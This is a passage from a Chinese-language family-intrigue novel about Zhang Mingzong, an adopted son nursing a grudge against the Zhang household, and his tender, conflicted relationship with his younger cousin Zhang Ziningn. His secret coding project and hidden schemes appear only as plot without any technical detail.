日子过得很快。四季轮转，池塘边那棵老榕树的叶子落了又长，长了又落。
张明宗从十四岁长到十七岁，个子拔高一截，可整个人看起来依旧是那副清瘦温和的样子，眉眼间带着一种与年龄不符的沉静。
张家上下都知道，大少爷身子骨弱，受不得累。家主特意从若丽请了中医来调养，又交代厨房日日准备药膳，生怕他哪天又病倒了。
张明宗对这些安排一概不推辞。陈妈端来的汤药，他转头便从后窗倒进墙角的土里。
他做得滴水不漏。可有些东西，是连他自己也没法算准的。
比如张瑞恩对他的好。
起初张明宗以为那是笼络，是做给别人看的体面。一个无家可归的孩子，被收养之后，养父总要表现出足够的宽厚，才不会落人口实。
可日子久了，他渐渐发现张瑞恩的关照并不是那种表面功夫。他会记得张明宗不爱吃葱和香菜，也不爱吃海鲜。每次厨房做饭都会把他那份单独分出来。张瑞恩会让人把东厢的窗子换成双层玻璃，生怕他着凉。他甚至记得张明宗偶尔提起过的一本书，没过几天，那本书就出现在书桌上了。
张明宗第一次注意到这些细节的时候，心里没有什么波动。他只当作是张瑞恩做事的习惯，毕竟当家主的人，记性总要比别人好一些。
可后来有一回，他夜里经过书房，听见张瑞恩在跟管家交代什么，他没有听全，只捕捉到一句：“......明宗那孩子脾胃弱，晚上的药膳别放太多参，他受不住。”
他站在门外，脚步停了一瞬。他发现自己竟然不知道该怎么接住那句话。如果张瑞恩对他不好，他可以理直气壮地恨。可张瑞恩偏偏对他好，好得让人挑不出任何毛病。
他走回东厢之后，在床边坐了很久，黑暗中他想起母亲和外公倒在血泊里的画面，想起张瑞恩蹲下来平视他的眼睛说“以后你就是我的儿子”。这些记忆像一把刀，精准地扎在最柔软的地方。可刀刃的另一面，又贴着张瑞恩那些好。
他从抽屉深处摸出那只铁盒，把那根红绳拿出来。他攥着它坐在床边，很久很久没有松手。
那之后，他试着在心里给这两样东西划出界线。一边是恨，一边是好。恨是清晰的，有来处的，刻在骨头里的。好是模糊的，无处安放的，像水渗进裂缝里，慢慢地侵蚀着那些他以为坚不可摧的东西。
他花了很长时间才接受一个事实。张瑞恩对他的好是真的，可这份好里，一定掺了别的东西。也许是愧疚，是补偿，又或是出于一个家主的体面。
谁知道呢。但真就是真，哪怕是掺了杂质的水，也是水。
而他自己的心，也在这几年里慢慢长出了新的裂缝。他依然恨张家，恨那些盘根错节的旧账，恨那些把母亲和外公推向死亡的手。
可他没法在看见张姿宁跑进东厢的时候不弯起眼睛。她推开门，探进半张脸来喊“明宗哥哥”，声音清亮。他听见那个声音，心里那些尖锐的棱角就会钝下去一瞬。他知道这不对。他知道自己迟早有一天要撕碎她对这个世界所有天真圆满的信任。
可他根本管不住。
他试过冷淡一点，不那么快回应她的呼唤。可他看见她仰着脸等他说话的样子时，那些预设好的冷淡就全散掉了。
她太亮了，像一道蛮不讲理的光，照进他藏在阴影里的所有角落。他能做的，只是不对她撒谎。
如果她问他“你今天是不是不开心”，他会说“有一点累”。他不会骗她，他只会不把话说完。他让她以为他只是一个体弱多病，偶尔走神的大少爷，而他心里那些翻涌的恨意和算计，一个字都不会让她听见。
这天傍晚，张姿宁又来了。她推开东厢的门时，手里捧着一碟切好的芒果，是厨房新送来的。她把碟子放在他书桌角上，自己坐到对面那把藤椅上。
“你尝尝，”她说，下巴朝那碟芒果一抬，“阿香说今天这批果子特别甜。”
张明宗看了她一眼，拿起竹签叉了一块放进嘴里。他慢慢嚼完，放下竹签，说：“确实甜。”
张姿宁满意地弯起眼睛，自己也叉了一块吃。她一边嚼一边翻他那本旧诗集，翻到某一页的时候停下来。
她拿着书，来到他身边和往常一样挤上他的腿，随即指着其中一行字念给他听：“当时明月在，曾照彩云归。”她偏过头来看他，“这句我已经背得比你还熟了。”
张明宗看着她，嘴角弯了一下。她刚刚说话的语气明显带着一点得意和显摆。
“那你知不知道，”他说，声音低缓，“这句说的是什么？”
“知道。”她放下书，认真地看着他，“说的是以前的东西没有了，可月亮还在。月亮一直在看着。”
张明宗并没纠正她。而这句诗的真正意思是失去，是物是人非。他不想让她懂那个意思。她应该继续相信月亮是长情的、温柔的、一直在看顾着故人的。那些阴暗，属于他的解读，不该被她听见。
他伸手把她垂到脸侧的一缕碎发拨到耳后，然后他说：“你说得对。月亮一直在。”
她咧嘴笑了一下，又把视线落回书页上，含糊地“嗯”了一声。
张明宗看着她低垂的眉眼，心里忽然浮起一个念头：如果有一天她知道了所有的事，她还会坐在他对面，用这样的语气念诗给他听吗？
他垂下眼，把那个念头压回心底。然后他拿起叉一块芒果，慢慢嚼着。果肉确实是甜的。他放任自己享受这一点甜，哪怕他知道，这甜是偷来的。
从那天起，他便不再分辨了。
他对张姿宁的好是真的，对张家的恨也是真的。两样东西同时在胸腔里生长，像是同一块地里长出的两棵截然不同的树，根须在地下绞缠，谁也分不清哪一条属于谁。他不再试图划清界线。恨意让他清醒，而她的存在让他不至于在那条暗路上走得太偏。
那个下午他回到东厢，坐在书桌前面。
笔记本电脑的屏幕亮着，白色的光把他的脸照得没有什么表情。那段代码他反复写过很多遍，可每一次停下来看，都觉得还不够密实。
他听到门外有脚步声。可他没有理会，过了许久，余光扫过门口，发现那人仍站在门外。最初他还以为是张瑞恩的人，后来他从线人那得知，这人是赵家的人，替赵家那位送东西的。这人军校毕业，修过通信。
难怪看得懂他写的这套东西。
某天下午，他又来了。这次，张明宗坐在窗边看着窗外，手里端着一杯温水。他知道他站在门外。
“进来坐吧。”
门外安静了一瞬。然后门被推开了。
赵弘霖往里走了一步。张明宗别过头去看他。他比张明宗想象中的年轻一些，眉目间带着一股锐气。赵弘霖的目光在那台笔记本电脑上停了不到半秒，然后移开，落在张明宗脸上。
“你知道我在看。”他说。
张明宗坐在窗边的椅子上，没有起身。他抬了抬下巴，指着对面的位置。赵弘霖彻底走进来，把门合上，在对面坐了下来。
屋子里安静了一会儿。赵弘霖也没有急着开口，双手搭在膝盖上，姿态放松。
“你看得懂。”张明宗先开了口。他把杯子放回桌面，目光平静地落在赵弘霖脸上。
赵弘霖没有否认，“那套东西，你写了多久了？”
“很早。有几年了。”
赵弘霖听完，沉默了几秒。他的视线停在那台笔记本电脑上，过了一会儿说了一句令他也没想到的专业漏洞。
张明宗微微偏头看他，眼里带着几分诧异。
张明宗没有立刻接话。他靠进椅背里，盯着他看了一会儿，在重新评估对面坐着的这个人。
“你学通信的？”他问。
“军校读过几年。”赵弘霖的语气自然，“毕业之后在赵家做事，跟我叔父跑过几趟密支纳的线。”
“你这套东西，”赵弘霖继续说，这次语气比刚才认真了几分，“如果跑起来了，是不需要人盯着看的。它会自己转。”
张明宗弯了一下嘴角，像是一个被说中心事的人，却懒得否认。
“我能看出来的东西，别人也能看出来。”赵弘霖顿了顿，目光落在他脸上，“你留着这个漏洞，是因为你还没想好，要不要让那扇门彻底关上。”
张明宗没有回答这句话。
“你进来坐，就是为了跟我说这个？”
赵弘霖安静了几秒，然后说：“也不是。我叔父让我来送东西，我送到了，本来该走。走到门口的时候，看见你窗台上那盆茉莉，跟我小时候家里养的那盆很像。”
张明宗顺着他的目光看了一眼窗台。那盆茉莉是张姿宁去年端来的，说是从主宅花园里分出来的，让他好好养着。他其实不怎么养花，但张姿宁把花盆往窗台一搁，叉着腰说“你每天给它浇点水，它就能活”。他只好照做。
“你家里也养过茉莉？”张明宗收回目光，语气随意。
“养过。我爸养的，不过后来花死了。”赵弘霖道。
张明宗听完，没有接话。他垂下眼，视线落在那杯已经凉透的温水上，过了片刻才重新开口：“你如果想留下来看，我不拦你。”
赵弘霖抬眼看他。
张明宗把笔记本电脑从桌面上推过去，屏幕朝向他，声音不高不低：“你看得懂，那你就看着。”
赵弘霖盯着那台电脑，说：“你确定？”
张明宗靠在椅背里，坐姿松弛，手交叠在小腹上。
“我做事从来不靠别人帮我决定。但你既然看得懂，那就不算外人。”
赵弘霖听后，伸手把电脑轻轻拉近了自己一些。他的目光快速扫过几行代码。
张明宗端起那杯凉透的水喝了一口。他从来没有想过要把赵家牵扯进来。赵弘霖是一个意外，一个他还没来得及规划的变量。他发现这个人看得懂他在做什么，也没有被那套系统吓退。
赵弘霖看了一会儿，把电脑轻轻推回来：“你还有一段没写完。”
“嗯。”张明宗把电脑合上，没有再打开，“等你下次来，应该能看见它补完。”
赵弘霖站起身，走到门口的时候脚步顿了一下，偏过头来看他：“你一个人住这间屋子？”
“大部分时候是。”张明宗说，“偶尔有人来。”
赵弘霖没有追问那个人是谁，只是点了一下头，拉开门走了出去。
张明宗坐在窗边，看着那盆茉莉在午后的日光里投下一小片影子。他忽然想起赵弘霖刚才说的那句话，“你留着这个漏洞，是因为你还没想好，要不要把那扇门彻底关上”。他说得不算错，但也只是说对了一半。
他留着那个漏洞，是因为他清楚，如果他真的把漏洞彻底补上，那他自己也会困在那套系统里，再也出不来。他会成为系统的一部分，被系统吞噬掉。他也需要那个漏洞，才能确保自己在彻底沉进去之前，还能捞自己一把。
赵弘霖走后，日子照旧。
张姿宁十二岁那年的一个下午，她推门进来的时候，带着一副欲言又止的表情。她爬到他对面的藤椅上盘腿坐下。
“明宗哥哥。”
“嗯。”他翻了一页手里的旧档案，没抬头。
她等了一会儿，又喊了一声：“明宗哥哥！”
他这才抬起眼来，看她那副憋着话的模样，把档案合上，“怎么了？”
张姿宁两只手撑在膝盖上，身体微微前倾，压低声音说：“我爸在我七岁那年从外面带回来一个小孩，说是他的私生子。叫程木。”
张明宗面不改色，只是把档案放回桌面，端起手边的温水喝了一口，“嗯，听说过。”
“你也知道啊？”张姿宁瞪大眼睛，像发现什么了不得的秘密，“那你见过他没有？”
“没见过。”张明宗说，“怎么了？”
张姿宁歪着头想了想：“他好奇怪。我二哥张明承欺负他，他也不吭声，结果第二天，我二哥从走廊经过的时候，一支箭擦着他脖子飞过去，正中他身后那个人的眉心。”她说着比划了一下，指尖从自己颈侧划过去，“就这么近。”
张明宗的睫毛轻轻动了一下，手里的杯子顿在唇边。
张姿宁继续说，语气里带着一点十二岁女孩特有的困惑和好奇：“而且......而且他总是低着头，叫我‘大小姐’，也不叫姐姐，什么多余的话都没有。”
她顿了顿，补了一句：“我总觉得这个人长得一点也不像张家人。”
张明宗没有接话。他知道程木是谁。林至简和赵玄同的儿子，被程叁从白衬衫手里截下来，送到了张瑞景面前。他爸死前告诉过他一部分，他接手白衬衫之后才知道后续，线人把来龙去脉整理得清清楚楚。那个男孩五岁被带回张家，名义上是张瑞景的私生子，实际上是一个身份被偷换掉的孩子。
他坐在书桌后面，听着张姿宁用那种充满好奇的语气说起程木，忽然觉得有点好笑。而他完全有机会杀了程木，趁他还没长成气候之前，一劳永逸地解决掉这个隐患。线人甚至递过一份详细的行动方案。
他坐在书桌前看完那份方案，把它扔进了碎纸机。
程木活着，比死了更有用。他是林至简的儿子，是林张两家之间那颗迟早要引爆的雷。林至简如果发现自己的儿子在张家当了十几年的“狗”，她会怎么想？
“明宗哥哥？”张姿宁的声音把他的思绪拉了回来，“你在想什么？”
他抬起眼看她，目光温和，“在想你什么时候才能改掉背后说人的习惯。”
“我才没有背后说人！”她立刻坐直了，脸上带着被冤枉的表情，“我是在跟你讨论！”
张明宗被她那副表情逗得弯了一下嘴角，伸手把那碟陈妈刚端来的糖水往她那边推了推，“行了，喝你的糖水。少管别人的事。”
张姿宁嘴角翘起来，端起碗喝了一大口。她含含糊糊地说：“我才不是管闲事。我就是觉得他这个人有点意思。”
“有意思的人多了。”张明宗重新翻开那本档案，“你总不能每个都觉得有意思。”
张姿宁鼓着腮帮子嚼着什么，没再继续这个话题。她喝完糖水，把空碗往桌上一搁，跳下藤椅，走到他身侧，侧着身子往他椅子扶手上挤。她十二岁了，个子长高不少，挤上来的动作却没有以前那么利索了，半靠半坐地歪在他椅子边缘。
张明宗偏头看了她一眼，没有赶她。她已经很久没有这样挤过来了，这几年她渐渐大了，有自己的朋友，也在学校里慢慢找到自己的节奏，来主宅的次数比从前少了。以前她每周都来，后来是月底才来一趟。她来的那天，他总会让陈妈准备她爱吃的芒果和糖水。
他不问她在学校怎么样，也不问她为什么来得少了。她愿意说的时候，她会自己说。而她不再像小时候那样事无巨细地告诉他每一件事了。有些事情她开始学着藏在心里，不再拿出来跟他分享。这是一种成长，他当然明白。
日子过得快，张姿宁十六岁那年的春天，来得比往年晚一些。院子里的榕树迟迟没有长新芽。
张明宗坐在东厢窗边，手边摊着一本翻了一半的旧书，目光却落在院子入口的方向。他知道她今天会来。
他听见脚步声穿过廊道，脚步声在门口停下来，张姿宁探进半张脸来，头发长了许多，随手拢在脑后。
“明宗哥。”
她喊了一声，不像从前那样挤进门来，只是站在门框边，弯着眼睛笑了笑。
张明宗愣了一下，才“嗯”一声，把书合上放在桌角。她喊“明宗哥”的时候，少了小时候那种拖长的尾音，也少了那股赖着不走的劲头。他忽然意识到，她已经很久没有喊他“明宗哥哥”了。
“进来坐。”他说。
她走进来，在他对面的藤椅上坐下，两条腿并拢，腰背挺直，不再是小时候那样盘着腿或者晃着脚。她坐下来之后先偏头看了一眼窗外那棵老榕树。
“树还是老样子。”她说。
“嗯。你倒是长高了。”
她笑了一下，没说别的。
两个人之间隔着一张书桌，安静了一会儿，却并不尴尬。
她后来坐了一会儿就起身走了。走到门口的时候她回头看了他一眼，说：“我下个月可能来得晚一些。”
“嗯。”
“你好好吃饭。”她说完这句就转身走了，脚步声穿过廊道，渐渐远去。
张明宗坐在窗边，听着那脚步声彻底消失，才把目光收回来。
他那时候并不知道，那是她最后一次用那种随意的语气跟他说“好好吃饭”。后来她再来的时候，间隔越来越长。她会坐在他对面，聊几句家常，喝半碗糖水，然后就说“还有事”起身走了。她不再像小时候那样赖到天黑。
他当然知道她在做什么。
他坐在后院喂鱼的时候，手里那台加密手机的屏幕会亮起来。白衬衫的线人发来的消息一条接一条，内容详细：“大小姐今天下午去了勐贡北面一处矿口，待了三个小时，出来时手里拿了一份矿区平面图。”
他看完这些消息，把手机锁屏搁在石桌边缘，然后继续往池塘里撒鱼食。锦鲤簇拥着浮上来吃食，他瞧着那群鱼，弯了弯嘴角。
她往矿区铺线这件事，他比任何人都先知道。她踏入他的地界，被他的人发现，他想装作不知道都难。她的每一步都会被记录下来，整理成一行行文本送到他的手机上。
他不在乎她瞒着他，因为他自己也有太多秘密。而她不说，是她的选择；他看，是他的规矩。这两件事并不矛盾。
他坐在那里看着那些消息的时候，偶尔会想起她七岁那年蹲在池塘边指着锦鲤给他介绍“胖头”的样子。那时候她的世界很小，小到只有池塘、榕树和东厢这间屋子。现在她的世界已经延伸到了勐贡、若丽。她在长大，在扩张，在把一条条线铺向矿区深处。
而他坐在张家主宅的后院里，只需要看着那些消息从屏幕上划过。
他觉得自己应该感到满意。她正在变成一个不需要依附任何人也能独当一面的人，一个有资格在他牌桌上落座的人。
她越是这样，就越有可能成为他棋局里最无法预测的一颗棋子。
可他看着窗台上那盆茉莉的时候，心里浮上来的情绪比满意要复杂得多。她那些关于博弈的早慧，那些隐忍和盘算，他在她身上看到了自己的影子。她正在变成他最熟悉的那一类人。
可他并不安心。
因为她终有一天会站在他的对面。
那天傍晚，张姿宁来了一趟。她走进东厢的时候，手里拿着一本摊开的练习册。她走进来之后没有坐到窗边的藤椅上，而是把练习册搁在他书桌上，指着一道题。
“这个，怎么做？”
张明宗低头看一眼。那道题大概是某种函数题，他拿过一支笔，在草稿纸上慢慢写推导步骤，语气平缓地给她讲了一遍。她听完之后低头看了一会儿草稿纸上的字，偏过头，目光停在他脸上。
“你讲得比我妈请的老师清楚。”她说。
“那是他们没好好讲。”张明宗弯起眼笑了笑。
张姿宁把练习册合上，指尖在封面上敲了几下，像在盘算什么。过了一会儿她抬起眼来，那双眼睛里带着一点亮晶晶的期待，说：“明宗哥，央光下个月有一场数学竞赛，我想去试试。”她说完停了一下，仿佛怕他拒绝，又补了一句，“你不用专门陪我去，但如果你那两天正好没什么事的话……”
“好啊。”他几乎没有犹豫。
她愣了一下，像是没料到他会答应得这么干脆。她嘴角不由自主地翘起来，又努力压平，最后只干巴巴地说了一句：“那我到时候把时间发给你。”
“嗯。”
张姿宁抱着练习册站起来，走到门口时回头看他一眼，弯了弯眼睛，转身走远了。
张明宗坐在书桌前，垂眼看了一眼桌上那张草稿纸。
他伸手把草稿纸折好放进抽屉深处。
竞赛那天央光的天气很好。张明宗坐在车里等她。他看了一下时间，这个点差不多考完了，他推开车门走下去。
礼堂门口有学生陆陆续续走出来，
他的目光在人群中精准地找到了她，然后弯起嘴角冲她露出笑容。她抱着一摞资料小跑到他跟前，刚站定，她就问：“你猜猜我这次能拿多少排名？”
“肯定是第一名。”张明宗垂眼看着她，笑意从眼底漫出来。
“你怎么知道？”
“你嘴角都快翘到天上去了。”
她不服气地抿了抿嘴，可笑意怎么都压不住。
“上车吗？”张明宗接过她手里的资料。
“今天天气好，走一走。”
“行。”
张姿宁往前走几步，又转身看着他退着走，“我知道街对面开了新的奶茶店，我想喝。”
“你这么一说，我也想喝了。”
两个人并肩走出礼堂，张明宗走在她外侧，偏过头看她的时候，她正在低头踢一颗小石子，踢得很远又小跑着追上去，再踢一脚。
她踢完之后终于意识到身后那道目光，偏过头来迎上他的视线。她微微愣了一下，随即有些不好意思地收起脚。
“这么大了还踢石子玩。”他说，语气里带着一点无可奈何的笑，却没有责备的意思。
“你是不是觉得我很幼稚？”她站在两步之外看着他。
“没有。”他说。
“你骗人。”她不信，走到他面前，仰着脸盯着他的眼睛看，像是要从他脸上挖出什么蛛丝马迹来，“你刚才说‘这么大了还踢石子玩’，明明就是在说我幼稚。”
“我只是陈述一个事实。”张明宗看着她，把双手插进兜里，“陈述事实不等于说你幼稚。”
“可你就是那个意思。”
“那你觉得我是什么意思？”
她发现竟然接不上来话。她只好瞪他一眼，继续往前走。
张明宗瞧着她那模样，站在外侧低头笑了一下。
回到主宅的时候天色已经有些暗了。张姿宁从车上下来走在前头，经过正厅廊道的时候，她似乎发现什么新奇东西，忽然放慢了脚步。张明宗走在她后面几步远的距离，看见她的目光落在了脚下的地砖上。
主宅这段廊道的地板有几块松动了，踩上去会发出一声闷响。这个秘密是她小时候发现的。她每次走过这里都会故意踩那块板子，听它发出声响，然后心满意足地继续往前走。
张明宗以为她今天会跨过去。可她偏偏在那块松动的地砖前停了下来，然后抬脚，不轻不重地踩上去。她偏过头，像是确认他有没有看见。
张明宗靠在墙上，手里端着一杯不知道什么时候接来的温水，目光落在她身上。他没有出声，就那么看着她踩了一会儿，才极轻地笑了一声。
张姿宁听见那声笑转过身来。张明宗靠在廊柱上，单手插兜，姿态松散，嘴角那抹笑意还没收干净。
“你走路跟企鹅似的。”他说，语气里带着一种懒洋洋的调侃，“一步一晃，还专挑响的踩。”
她站在原地愣了一下，眼睛猛地瞪圆了：“你说什么？企鹅？我怎么就像企鹅了？”
“走路一摇一摆的。”
“我没有！”她立刻把脚放稳站平，又觉得这样反而显得心虚，于是更气了，“你才像企鹅！”
话音没落她已经冲过去。张明宗早就料到她会来抓他，在她迈出第一步的时候就往后一旁挪了半步，侧身从廊柱后面绕开。他往廊道深处退了一步，甚至还有时间把手里那杯温水换到另一只手上以免洒出来。
他腿长走得快，她追了半条廊道没追上。最后她停下来，弯腰撑着膝盖喘气，大喊一声：“张明宗你站住！”
他背对着她站在原地。
身后传来一阵急促的脚步声，然后整个人撞上他的后背。一双手从后面环过来，隔着薄薄的衬衫勒住他的腰。她的额头抵在他的肩胛骨之间，气还没喘匀，声音带着喘和一点不服气的笑。
“你才像企鹅。”
张明宗站在那儿，她的手臂环着他的腰，温热的掌心贴在他小腹前。廊道里很安静，只有她渐渐平复下来的呼吸声。
过了好一会儿，她休息得差不多后才松开手，绕到他面前站定。她仰着脸看他，脸颊还带着运动后的红晕。她盯着他的眼睛，忽然开口：“明宗哥，你为什么老是‘你’啊‘你’地喊我？”
张明宗被她问得顿了一下。
“我没有名字吗？”她歪着头看他，“你从来都不叫我名字。”
“那我叫你什么？”
她想了想，然后眼睛一亮，踮起脚尖凑近他：“你叫我阿宁。大伯还有我爸妈都这么叫我。你也要这么叫。”
张明宗看着她近在咫尺的脸，目光从她弯起来的眼尾，滑到她嘴角那一点狡黠的笑意。
他张了张嘴，那两个字在唇齿间绕了一下，最后还是咽回去，转而故意逗她，轻声说了句：“知道了。”
她一听这话不乐意了。
“你叫一声听听。”她不肯罢休，又往前凑了半步，“就一声。”
张明宗低头看着她那副执拗劲儿，嘴角浅浅一弯，然后开口：“阿宁。”
那两个字从他唇间滑出来的时候，他感觉到自己的心跳漏了半拍。他看见她的眼睛倏地亮了一下。她怔在原地，嘴角那股狡黠的笑意还挂着，却变得有些不自然。
廊道里的风从他们之间穿过，把她鬓角的一缕碎发吹起来。
“……再叫一声。”她的声音轻下来，那语气里的赖皮劲儿还在。
张明宗只是垂眸看着她。那一刻他想，她十六岁了，学会藏着很多事情，能藏住在矿区铺线的野心，唯独藏不住这个。
他往前迈了半步，低头凑近她耳边，声音压得低而慢：“阿宁。满意了？”
温热的气息拂过她耳廓的时候，她的耳尖以肉眼可见的速度红了。她整个人明显僵住，往后退半步，抬手捂住那只耳朵，看着他。
张明宗直起身，看着她那副又羞又恼的模样，嘴角那点弧度不知不觉加深一些。他发现自己很喜欢看她这样的表情，那种完全真实，又来不及掩饰的反应。
“你……你是不是故意的？”她捂着一只耳朵，声调比刚才高了半度。
“故意什么？”他明知故问。
“故意……故意你明明知道！”她气得跺了一下脚。
张明宗偏头看了一眼廊道尽头的天色，暮色正从院子边缘漫过来，将廊柱的影子拉得很长。
“天快黑了，我送你回西边。”
张姿宁放下手，那层薄红已经烧到她耳廓后面去。她“哦”了一声，转身走在他前面，可步子明显慢下来。
两个人并肩穿过廊道，谁都没有说话。张明宗走在她外侧，余光偶尔落在她侧脸上。她低着头，目光落在自己脚尖前面那几步远的地面上，不知道在想什么，嘴角还挂着一点压不下去的弧度。她走到廊道尽头那扇月洞门前，忽然停下来转过身，像是鼓足勇气似的开了口。
“明宗哥。”她喊他。
“嗯。”
“你以后也要这么叫我。”她说。
张明宗安静了一瞬，然后说：“好。”
她飞快地抬眼瞥了他一下，又垂下去。她转身快步穿过月洞门，走了两步又停下来，偏过头朝他说：“明天早上我来找你。你等我一起吃早饭。”
张明宗站在月洞门这一侧，看着她的身影消失在院子转角的阴影里。
他转过身往回走的时候，笑容从他脸上慢慢褪了下去。
他想到她方才站在月洞门口说“你以后也要这么叫我”的时候，她眼睛里那一点没有藏住的欢喜。
他知道那是真的。她对他的喜欢是真的，有依赖、有信任、有少女情窦初开时最干净的那一种朦胧好感。她不懂那是好感和爱慕的边界，可他懂。他什么都懂。
但他没办法回应那份东西。他唯一能做的，就是在她还愿意这样看他的时候，把她给的每一分真心都收好。哪怕那些东西将来都会成为刺向他自己心脏的刀，他也愿意先好好收藏着。
这一刻的幸福是真的，他清楚这一切终将成为虚妄，所以他才格外珍惜，也格外放肆。
可他还是舍不得推开她。他甚至开始在心里为自己找借口。再等等吧，等她再长大一点，等她身边有新人后，自会把他忘记。
晨光从东厢的窗缝隙漏进来时，张明宗已经醒了。
他躺在床上听着院子里那棵榕树上早起的鸟叫。他想起昨夜她走时丢下的那句话“你等我一起吃早饭。”她说这话的时候声音比平时快，说完就跑，像怕他反悔似的。
他弯了一下嘴角，从床上坐起来。
洗漱的时候，他没来由地多照了一会儿镜子。镜子里的人眉眼温和，气色比常人淡几分，看起来就是个体弱多病、养在深宅大院里的少爷。这副面孔他穿了将近八年，已经熟练到连自己都快信了。
他清干净那些想法，走出去换了一件干净的亚麻短袖衬衫，随后推门走出去。
院子里已经有佣人在洒扫了。陈妈端着托盘从厨房方向出来，看见他站在廊下，微微欠身笑道：“大少爷今天起得早。”
“嗯。”他应了一声，目光却越过陈妈的肩头，落在廊道入口的方向。
陈妈顺着他视线看了一眼，嘴角的笑意更深了些。她自然清楚他在等谁。她没有再说什么，端着托盘往偏厅走去了。
张明宗在廊下站了一会儿。他就靠在廊柱上，双手插兜，目光落在廊道尽头那扇月洞门上。
他听见脚步声了。从月洞门那边传过来，轻快而又不急促，带着一种压不住的雀跃。脚步声穿过廊道，越来越近，然后一道人影从月洞门那边转出来。
张姿宁穿了一件米白短袖衬衫，领口别着一枚小小的翡翠胸针，衬得人清清爽爽。头发比昨天利落些，在脑后扎了一个低马尾，几缕碎发垂在耳侧。她看见他靠在廊柱上，脚步顿了一下，随即弯起眼睛笑起来。
“你起这么早。”她走到他面前，仰着脸看他，“我还以为我要等你呢。”
“我也以为你要睡过头。”他说。
“我才不会。”她叉腰踮起脚，理直气壮地说。她说完就侧身从他旁边走过去，走了两步又停下来，偏过头看他，“你站在这里多久了？”
张明宗没接话，只是从廊柱上直起身，走到她身侧，“早饭准备好了，走吧。”
两个人并肩往偏厅走。她走在他左侧，和他保持着一种不近不远的距离。偏厅里已经摆好了碗筷，陈妈端了刚蒸好的椰汁糕和热腾腾的米线出来，又给张姿宁单独放了一碟切好的芒果。张明宗在她对面坐下，目光落在她那碟芒果上。
“陈妈特意给你准备的。”
张姿宁“嗯”一声，低头叉一块送进嘴里，含糊道：“还是家里的好吃。”
张明宗端起面前的温水喝了一口。忽然觉得好像回到了几年前，她每个周末跑来蹭饭的早晨。
她吃完最后一口米线，把碗往前推了推，抬头看他：“你今天有什么安排？”
“没什么事。”张明宗放下水杯，“怎么？”
“那你在院子里待着。”她说，“我下午来找你。”
“好。”
·
下午的阳光把院子照得刺眼。
张明宗站在廊下，背靠着廊柱，双手插兜，微微仰着脸看树上那几只鸟雀。是几只灰褐色的本地鹎，在枝头跳来跳去。他看得并不专注，脑子里转着别的事。线人今早递了消息，说密支纳那条线上有人在打探暗道的位置。那人的背景还没查清，但能摸到那个层面的人，不会是无名之辈。
张明宗偏了偏头，手指在裤包里敲了一下，正在盘算那条线的去留。
然后他听见一串急促地脚步声朝这边跑来。
他还没来得及转头，一个轻软的冲击就撞上了他的胸口。张姿宁整个人扑进他怀里。他双手抽出来，下意识虚扶在她手臂两侧，但力道太急，他的后背彻底磕进廊柱，撞得骨头发疼。
“明宗哥！我得了第一！”她的声音亢奋，压不住那股透出来的喜悦。她仰起脸来，整张脸被日光照得发亮，眼里闪着光，“数学竞赛！刚才老师打电话来的，说我是一等奖，全理甸赛区第一名！还有奖金。”
张明宗的后背抵着廊柱，垂眼看着怀里这个人。她攥着的手指放在他胸前，因为激动而微微收紧。他虚扶在她两侧的手，在空中顿了一下，最终慢慢收拢环住她。
“你跑过来的？”张明宗的声音比平时低了几分。
“嗯！我收到电话就跑来找你了。”
张姿宁把手机屏幕举到他眼前：“你看！这是老师发来的电子版通知，老师说正式证书下周寄到。”
张明宗垂着眼，目光落在那张电子通知上。他其实并没有看清上面的字。他今天整个中午都在想别的事，想着赵弘霖那边的新一批清人名单。可此刻，她所有的重量都压在他怀里，那手机屏幕几乎怼到他鼻尖上，让他无法忽视。
可他明明抱着她，心却隔着好远的距离。
他嘴角弯起来，笑意是从眼底漫上来的。
“嗯，看见了。”他开口，“真厉害。比我厉害多了。”
她听他这么一说，笑意更盛了几分：“你这么说，那我下次再拿一个更大的奖，你是不是得夸我三天？”
“三天不够。”张明宗说，“必须夸到你嫌烦为止。”
她被他逗得笑出了声，连肩膀都在颤。
就在这时候，她忽然停了下来。笑意收住了大半，她偏了偏头，像是察觉到了什么，那双眼睛直直地看向他，里面的光从欣喜变成了认真：“明宗哥。”
“嗯？”
“你是不是有什么心事？”
张明宗的手在她腰侧极轻地收了一下。他没有立刻否认。可他发现她在观察他。她在这件事上越来越敏锐了，甚至让他有些意外，又有些说不上来的欣悦。
他很快把视线收回来，重新扬起嘴角，带着温润的笑意：“我哪有心事。”
她将信将疑地打量了他几秒，最终还是选择相信他。她往后退半步，从他环抱的范围内稍稍脱开一点。
“明宗哥，你数学那么好，你有没有想过学什么专业？”
“以前有想过，”他思忖片刻，才开口，“学通信或者计算机。”
“我可能会学经济。”
张明宗听完这句话，目光却在她脸上多停了一瞬。他靠在廊柱上，姿态松弛，话里的意思却转了个弯：“学经济挺好的。经济系要学审计、学财务分析、学怎么从一堆账目里看出问题来。你脑子灵，学这些不会吃力。”
他顿了顿，声音放低了一些：“再说了，张家这么大，总有那么几本烂账，你学会了，以后正好用得上。”
张姿宁听了这话，先是愣了一下，随即眼睛一亮，像是被点醒了什么似的，若有所思地点了点头。
“你说得对。”她认真道，“我确实得学学这些。以后总不能什么都要靠别人来告诉我。”
张明宗看着她那副认真的模样，眼底的笑意深了几分。
“对了。”他说，“你拿了这么一个大奖，我该送你一份礼物。”
张姿宁的注意力立刻被这句话勾了过去，望着他：“礼物？什么礼物？”
“保密。”张明宗说，语气里带着几分故作的漫不经心，“等做好了再告诉你。”
“你这人......”张姿宁瞪了他一眼，却也没真的追问下去，只是扬着嘴角，显然对这份“保密”的礼物充满了期待。
那天下午，张姿宁被秦蔓派来的人接回了墁德勒。她上车前还回头冲他喊了一句：“你答应我的礼物可不能忘了！”
张明宗站在廊下，冲她点了点头：“忘不了。”
他站了一会儿，然后沿着廊道往主宅后面的库房走去。
库房在主宅最深处，是一栋灰白色的老式砖楼。管库房的老人姓孙，在张家干了二十多年，看见张明宗走过来，连忙放下手里的账本迎上来：“大少爷，您怎么亲自来了？要什么东西您吩咐一声，我给您送过去就是了。”
张明宗站在库房门口，目光扫过那一排排码得齐整的木架。他没急着回答，先往里面走了几步，在一个半人高的保险柜前停了下来。
他记得那块料子。张瑞恩在他十八岁那年送给他的成年礼，说是从勐拱老场口出的，料子不大，但种水极好，是正宗的天空
